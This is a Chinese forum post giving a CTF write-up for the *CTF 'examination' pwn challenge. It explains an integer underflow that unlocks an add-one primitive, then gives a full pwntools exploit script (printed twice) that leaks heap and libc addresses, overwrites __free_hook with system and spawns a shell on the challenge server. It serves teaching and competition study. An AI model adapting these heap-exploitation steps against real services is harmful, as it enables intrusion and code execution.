-
-
[starctf]examination writeup
-
发表于: 2022-4-18 17:55 7637
-
第一次在正儿八经的比赛上写出一道pwn,还是很兴奋的,很可能是整个ctf生涯的巅峰了(说不定哪天就放弃了)。
其实第二题babynote的uaf其实看出来了,但学的太少,全新接触musl,搭环境之类的太繁琐了,debug始终出不来mal结构体。求大佬赐教。
回到第一题,正如官方wp所说,时间大部分在于逆向上,相比第二题,洞还是很好看出来的。因为这是一道典型金手指式的ctf题,洞因为肯定在金手指附近嘛。
看了下官方wp,基本是打tcache_struct来获得unsorted bin,个人觉得繁了,毕竟这题是任意add one的金手指啊,个人觉得自己的方法还是不错的。
题目全开,因此很难打got
题目大概意思就是能以老师学生两种身份执行一些功能:老师身份有一个菜单,学生身份一个菜单。审计代码后粗略得到两个结构体:student 和 teacher
学生checkReview函数可以得到金手指:如果分数超过131时可以获得堆地址,还能在任意字节处add one
因此考虑分数,回到teacher giveScore函数,发现is_lazy为1时可以减10,如果原得分小于10就会溢出。只要question_num为1原分数一定小于10
需要注意的是,这题无法直接得到unsorted bin,需要构造得到
因此,我们在有堆地址和任意addone的情况下,设计利用思路
构建unsorted bin本来我也想着打tcache struct,后来发现完全没必要。堆体应该对每个堆的读写权限吃透,再找出相对实用的方式
struct Student
{
Teacher
*
teacher;
__int64 unknown;
__int64 pray_score;
int
is_lazy;
int
is_reward;
__int64 unknown2;
};
struct Teacher
{
int
question_num;
int
score;
char
*
comment;
__int64 comment_size;
};
struct Student
{
Teacher
*
teacher;
__int64 unknown;
__int64 pray_score;
int
is_lazy;
int
is_reward;
__int64 unknown2;
};
struct Teacher
{
int
question_num;
int
score;
char
*
comment;
__int64 comment_size;
};
from
pwn
import
*
context.log_level
=
'debug'
def
lg(s,addr):
print
(
'\033[1;31;40m%20s-->0x%x\033[0m'
%
(s,addr))
#io = process('./examination')
elf
=
ELF(
'./examination'
)
libc
=
ELF(
'libc-2.31.so'
)
io
=
remote(
'124.70.130.92'
,
60001
)
def
role(idx):
io.sendlineafter(
'>>'
,
'5'
)
io.sendlineafter(
'role'
,
str
(idx))
def
comment(idx, size, content):
io.sendlineafter(
'>>'
,
'3'
)
io.sendlineafter(
'which one'
,
str
(idx))
io.sendlineafter(
'comment'
,
str
(size))
io.sendlineafter(
'comment'
, content)
def
add():
io.sendlineafter(
'>>'
,
'1'
)
io.sendlineafter(
'questions:'
,
'1'
)
def
delete(idx):
io.sendlineafter(
'>>'
,
'4'
)
io.sendlineafter(
'choose'
,
str
(idx))
def
edit(idx, content):
io.sendlineafter(
'>>'
,
'3'
)
io.sendlineafter(
'which one'
,
str
(idx))
io.sendafter(
'comment'
, content)
def
change_id(idx):
role(
1
)
io.sendlineafter(
'>>'
,
'6'
)
io.sendlineafter(
'id'
,
str
(idx))
def
addr_add_one():
role(
1
)
io.sendlineafter(
'>>'
,
'3'
)
role(
0
)
io.sendlineafter(
'>>'
,
'2'
)
role(
1
)
io.sendlineafter(
'>>'
,
'2'
)
def
addr_add_one2():
role(
1
)
change_id(
2
)
io.sendlineafter(
'>>'
,
'3'
)
role(
0
)
io.sendlineafter(
'>>'
,
'2'
)
role(
1
)
change_id(
2
)
io.sendlineafter(
'>>'
,
'2'
)
#gdb.attach(io)
io.sendlineafter(
'role'
,
'0'
)
add()
#0
comment(
0
,
0x18
,
'overlapper'
)
addr_add_one()
#0
io.recvuntil(
'0x'
)
heap_addr
=
int
(io.recv(
12
),
16
)
-
0x2a0
lg(
'heap addr'
, heap_addr)
comment_size_addr
=
heap_addr
+
0x2e1
io.sendafter(
'addr'
,
str
(comment_size_addr))
role(
0
)
add()
#1
comment(
1
,
0x18
,
'reader'
)
payload
=
p64(
0
)
*
3
+
p64(
0x31
)
+
p64(heap_addr
+
0x340
)
+
p64(
0
)
*
4
+
p64(
0x21
)
+
p64(
1
)
+
p64(heap_addr
+
0x360
)
+
p64(
0x200
)
edit(
0
, payload)
#leak libc
add()
#2
comment(
2
,
0x380
,
'leak libc'
)
add()
#3
comment(
3
,
0xa0
,
'helper'
)
add()
#4
addr_add_one2()
unsorted_bin_addr
=
heap_addr
+
0x3c9
io.sendafter(
'addr'
,
str
(unsorted_bin_addr))
role(
0
)
delete(
2
)
role(
1
)
change_id(
1
)
io.sendlineafter(
'>>'
,
'2'
)
libc_addr
=
u64(io.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
, b
'\x00'
))
lg(
'libc addr'
, libc_addr)
offset
=
0x7f841a9cdbe0
-
0x7f841a7e1000
libc_base
=
libc_addr
-
offset
free_hook
=
libc_base
+
libc.sym[
'__free_hook'
]
sys_addr
=
libc_base
+
libc.sym[
'system'
]
lg(
'libc base'
, libc_base)
# pwn
role(
0
)
payload
=
p64(
0
)
*
3
+
p64(
0x31
)
+
p64(heap_addr
+
0x340
)
+
p64(
0
)
*
4
+
p64(
0x21
)
+
p32(
1
)
+
p32(
1
)
+
p64(free_hook
-
8
)
edit(
0
, payload)
edit(
1
, b
'/bin/sh\x00'
+
p64(sys_addr))
delete(
1
)
#gdb.attach(io)
io.interactive()
from
pwn
import
*
context.log_level
=
'debug'
def
lg(s,addr):
print
(
'\033[1;31;40m%20s-->0x%x\033[0m'
%
(s,addr))
#io = process('./examination')
elf
=
ELF(
'./examination'
)
libc
=
ELF(
'libc-2.31.so'
)
io
=
remote(
'124.70.130.92'
,
60001
)
def
role(idx):
io.sendlineafter(
'>>'
,
'5'
)
io.sendlineafter(
'role'
,
str
(idx))
def
comment(idx, size, content):
io.sendlineafter(
'>>'
,
'3'
)
io.sendlineafter(
'which one'
,
str
(idx))
io.sendlineafter(
'comment'
,
str
(size))
io.sendlineafter(
'comment'
, content)
def
add():
io.sendlineafter(
'>>'
,
'1'
)
io.sendlineafter(
'questions:'
,
'1'
)
def
delete(idx):
io.sendlineafter(
'>>'
,
'4'
)
io.sendlineafter(
'choose'
,
str
(idx))
def
edit(idx, content):
io.sendlineafter(
'>>'
,
'3'
)
io.sendlineafter(
'which one'
,
str
(idx))
io.sendafter(
'comment'
, content)
def
change_id(idx):
role(
1
)
io.sendlineafter(
'>>'
,
'6'
)
io.sendlineafter(
'id'
,
str
(idx))
def
addr_add_one():
role(
1
)
io.sendlineafter(
'>>'
,
'3'
)
role(
0
)
io.sendlineafter(
'>>'
,
'2'
)
role(
1
)
io.sendlineafter(
'>>'
,
'2'
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-4-18 17:56
被N1co5in3编辑
,原因:
赞赏
他的文章
- [原创][GoogleCTF]MADCORE 13887
- [starctf]examination writeup 7638
- [分享]2月刷pwn题的知识点总结 9349
- [原创][基础知识]ctfpwn题修改libc库为要求的题目 19867
- [原创][攻防世界]stack2 9148
看原图
赞赏
雪币:
留言: